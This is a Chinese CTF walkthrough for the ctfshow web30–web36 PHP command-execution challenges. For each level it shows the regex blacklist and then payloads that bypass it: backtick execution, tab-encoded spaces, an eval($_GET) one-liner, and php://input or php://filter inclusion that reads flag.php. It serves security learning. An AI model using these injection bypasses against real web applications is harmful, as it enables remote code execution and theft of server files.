ctfshow-web入门-命令执行(web30-web36)

目录

1、web30

2、web31

3、web32

4、web33

5、web34

6、web35

7、web36


命令执行,需要严格的过滤

1、web30

代码差不多,就是过滤的东西变多了:

preg_match("/flag|system|php/i", $c)

这里不让用 system ,我们用上一道题的方法使用反引号执行命令,构造 payload:

?c=echo `ls`;

读取 flag:

?c=echo `cat f*`;

查看源码:

拿到 flag:ctfshow{de6eb951-84e4-4a10-82ae-bb93787f2f9a}

其他的绕过方法就不再像第一题那样赘述了,我们继续下一题。

2、web31

preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)

这里主要新增了对 cat 、点、单引号、空格的过滤:

cat 可以使用 tac 代替或者使用 rev 反向输出;

点和单引号我压根用不到所以不影响;

空格使用 URL编码的 %09 代替。

先列出文件,构造 payload:

?c=echo%09`ls`;

执行成功

读取 flag,构造 payload:

?c=echo%09`tac%09f*`;

拿到 flag:ctfshow{34ab0674-d667-4bf3-aa63-e7f43b0a6c65}

当然,其实对于空格的处理方式还有很多,我相信后面我们会介绍到的。

我一般习惯自己做了再参考它的 wp,这样可以学到不同的方法和思路:

利用无参数函数 ,payload:

?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

看一下 chatgpt 的解释:

scandir(pos(localeconv())): 这个函数调用 scandir() 用于扫描目录,pos(localeconv()) 返回当前本地化设置的符号。这段代码的目的是扫描某个目录下的文件和目录。

array_reverse(): 这个函数用于将数组中的元素倒序排列。在这里它被应用在 scandir() 的返回值上,意味着文件和目录列表将会以相反的顺序返回。

next(): 这个函数用于将数组的内部指针向前移动并返回当前元素的值。在这里它似乎是用于获取数组的下一个元素。

show_source(): 这个函数用于输出文件的源代码。这个代码的意图似乎是扫描某个目录下的文件和目录,然后将它们倒序排列,并尝试显示它们中的下一个文件的源代码。

此外,在网上还看到了另一个骚操作,payload:

?c=eval($_GET[1]);&1=system('tac flag.php');

类似弄了个一句话木马 ,并且参数 1 后面的内容不受正则匹配的影响。

3、web32

preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)

这里把反引号、echo、分号、左括号都过滤了,我们使用 php 伪协议。

首先看一下当前目录下的文件,构造 payload:

php 复制代码
?c=include$_GET["1"]?>&1=php://input 

这里的 ?> 是为了闭合前面的 php 语句,因为分号被过滤了,所以只能使用这个,后面另一参数 1 传入的内容不受正则匹配的影响。

post 写入我们想要执行的 php 代码即可:

php 复制代码
<?php system('ls');?>

读取 flag.php:

php 复制代码
<?php system('tac flag.php');?>

当然,我们也可以直接使用 php://filter 协议进行源码读取:

php 复制代码
?c=include$_GET["1"]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

base64 解码:

或者换一种编码方式输出就不需要解码了:

bash 复制代码
?c=include$_GET["1"]?>&1=php://filter/convert.iconv.utf8.utf16/resource=flag.php

拿到 flag:ctfshow{6626ab77-2eee-4862-9292-a395fdcd0f5d}

4、web33

bash 复制代码
preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)

过滤新增了双引号,去掉上一题的 payload 中变量的双引号即可:

bash 复制代码
?c=include$_GET[1]?>&1=php://filter/convert.iconv.utf8.utf16/resource=flag.php

flag:ctfshow{f1725a2e-1816-4401-845e-5690e1f8a209}

5、web34

新增过滤冒号,不过对上一题的 payload 不影响,直接上:

bash 复制代码
?c=include$_GET[1]?>&1=php://filter/convert.iconv.utf8.utf16/resource=flag.php

拿到 flag:ctfshow{1dbf17bf-857e-4f2c-be34-b9a99eab8480}

6、web35

新增过滤小于号和等号,我们用到的是大于号,因此依旧用前面文件包含的 payload 来打:

bash 复制代码
?c=include$_GET[1]?>&1=php://filter/convert.iconv.utf8.utf16/resource=flag.php

拿到 flag:ctfshow{dd218453-ee10-4d4c-ad85-d7b4a7bb0c7c}

7、web36

新增过滤斜杠和数字 0-9,我们使用字母来传参即可:

bash 复制代码
?c=include$_GET[a]?>&a=php://filter/convert.iconv.utf8.utf16/resource=flag.php

拿到 flag:ctfshow{6d9aeca5-db5e-4740-959a-87abc8ee756b}

相关推荐
cool 3213 分钟前
python学习-函数
学习
CHH54313 分钟前
3D立体卡片动效(附源码)
前端·css·3d·玩转css
戏拈秃笔4 分钟前
前端——在本地搭建Vue单页应用
前端·javascript·vue.js
Elena_Lucky_baby6 分钟前
vue项目创建+eslint+Prettier+git提交规范(commitizen+hooks+husk)
前端·javascript·vue.js
m0_6442226119 分钟前
HarmonyOS开发探索:自定义键盘-webview
前端·华为·计算机外设·移动开发·harmonyos·鸿蒙开发
铁匠匠匠31 分钟前
django学习入门系列之第三点《案例 小米商城二级菜单》
前端·css·经验分享·python·学习·django·前端框架
呀呀呀雅楠?32 分钟前
vue3(nuxt3)中使用ref获取不到子组件变量
前端·javascript·vue.js·nuxtjs
一颗苹果OMG41 分钟前
三栏布局,到底哪种最好用呢
前端·css
小秦学加瓦chen1 小时前
使用docker创建nginx容器部署前端项目
前端·nginx·docker